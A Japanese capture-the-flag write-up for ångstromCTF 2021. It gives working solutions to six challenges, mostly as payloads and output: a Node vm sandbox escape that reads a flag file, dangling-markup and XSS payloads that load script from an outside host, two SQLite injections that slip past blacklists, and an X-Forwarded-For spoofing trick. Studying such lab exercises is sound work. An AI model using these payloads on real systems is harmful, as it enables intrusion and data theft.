ångstromCTF 2021 writeup

4/3 - 4/8という日程で開催された。zer0ptsで参加して3位。

[Misc] CaaSio SE

Dynamic Importsを使ってvm.runInNewContext をエスケープできるテクが知られている。

$ nc misc.2021.chall.actf.co 21705
Welcome to CaaSio Snake Edition! Enter your calculation:
[a='(async()=>{try{await import("")}catch(e){e[c]',b='p=process;p.stdout.write(p.mainModule.require',c='constructo'+'r']&&{[(a+='[c](b)()}})()')]:123,[b+='("fs").readFileSync("./flag.txt"))']:123,[a[c][c](a)()]:123}
Result:
{
  '(async()=>{try{await import("")}catch(e){e[c][c](b)()}})()': 123,
  'p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))': 123,
  undefined: 123
}
Variables:
a = (async()=>{try{await import("")}catch(e){e[c][c](b)()}})()
b = p=process;p.stdout.write(p.mainModule.require("fs").readFileSync("./flag.txt"))
c = constructor
actf{maybe_eval_is_just_a_bad_idea}
gg
splitline

[Web] nomnomnom

FirefoxはDangling Markup Injectionの防御機構をまだ実装していない

    fetch('/record', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        name: '<script src="//example.com/a.js" ',
        score: 100
      })
    }).then(res => {
      if (res.redirected) {
        window.location.href = res.url;
      } else {
        res.text().then(text => {
          console.log(`reporting score failed with: ${text}`)
        })
      }      
    });

[Web] Reaction.py

component nameが freq であればXSS。ただし、各文字は一度ずつしか使えない。ありがとうIDN。

(async () => {
  const newcomp = async body => {
    return fetch("/newcomp", {
      "headers": {
        "content-type": "application/x-www-form-urlencoded",
      },
      "body": `name=freq&cfg=${encodeURIComponent(body)}`,
      "method": "POST",
      "credentials": "include",
      "redirect": "manual"
    });
  };
  await fetch("/reset", {
    "method": "POST",
    "credentials": "include",
    "redirect": "manual"
  });
  await newcomp('<SCRIPT src=/\\example。com?>');
  await newcomp('`;</SCRIPT>');
})();

[Web] Sea of Quills

SQLiteでSQLi、ただし以下のような制約がある:

    blacklist = ["-", "/", ";", "'", "\""]
    
    blacklist.each { |word|
        if cols.include? word
            return "beep boop sqli detected!"
        end
    }

    
    if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

UNION句で flagtable のレコードを抜き出す分にはこれらの文字は必要ない。

$ curl https://seaofquills.2021.chall.actf.co/quills -d 'cols=flag+from+flagtable+union+select+1&limit=100&offset=0'
                        <ul class="list pl0">

                                        <img src="1" class="w3 h3">
                                <li class="pb5 pl3"> <ul><li></li></ul></li><br />

                                        <img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3">
                                <li class="pb5 pl3"> <ul><li></li></ul></li><br />

                        </ul>

[Web] Sea of Quills 2

再びSQLiteでSQLi、制約が厳しくなった:

    blacklist = ["-", "/", ";", "'", "\"", "flag"]
    if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

^$ ではなく \A\z を使おうSQLite[keyword] が使えるというネタと組み合わせてなんとかする。

$ curl https://seaofquills-two.2021.chall.actf.co/quills -d 'cols=1[&limit=100&offset=0%0a],flag+from+flagtable'
...
                        <ul class="list pl0">

                                        <img src="1" class="w3 h3">
                                <li class="pb5 pl3">actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea} <ul><li></li></ul></li><br />

                        </ul>
...

[Web] Spoofy

以下のような検証用のWebサーバをHerokuで立てる。

# -*- coding: utf-8 -*-
import json
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    return 'hello, world'

@app.route('/headers')
def headers():
    return json.dumps(dict(request.headers))

if __name__ == '__main__':
    app.run()

以下のように X-Forwarded-Forx_forwarded_for というヘッダを与えると謎の挙動をする。

$ curl "https://lit-hollows-18252.herokuapp.com/headers" -H "X-Forwarded-For: 127.0.0.1" -H "x_forwarded_for: , abc"
{"Host": "lit-hollows-18252.herokuapp.com", "Connection": "close", "User-Agent": "curl/7.68.0", "Accept": "*/*", "X-Forwarded-For": "127.0.0.1, (アクセス元のIPアドレス), abc", "X-Request-Id": "c5b7bd4c-1482-47ff-a19e-1ca313ba9cf0", "X-Forwarded-Proto": "https", "X-Forwarded-Port": "443", "Via": "1.1 vegur", "Connect-Time": "1", "X-Request-Start": "1617539987247", "Total-Route-Time": "0"}

なので:

$ curl "https://actf-spoofy.herokuapp.com/" -H "X-Forwarded-For: 1.3.3.7" -H "x_forwarded_for: , 1.3.3.7"
Hello 1337 haxx0r, here's the flag! actf{spoofing_is_quite_spiffy}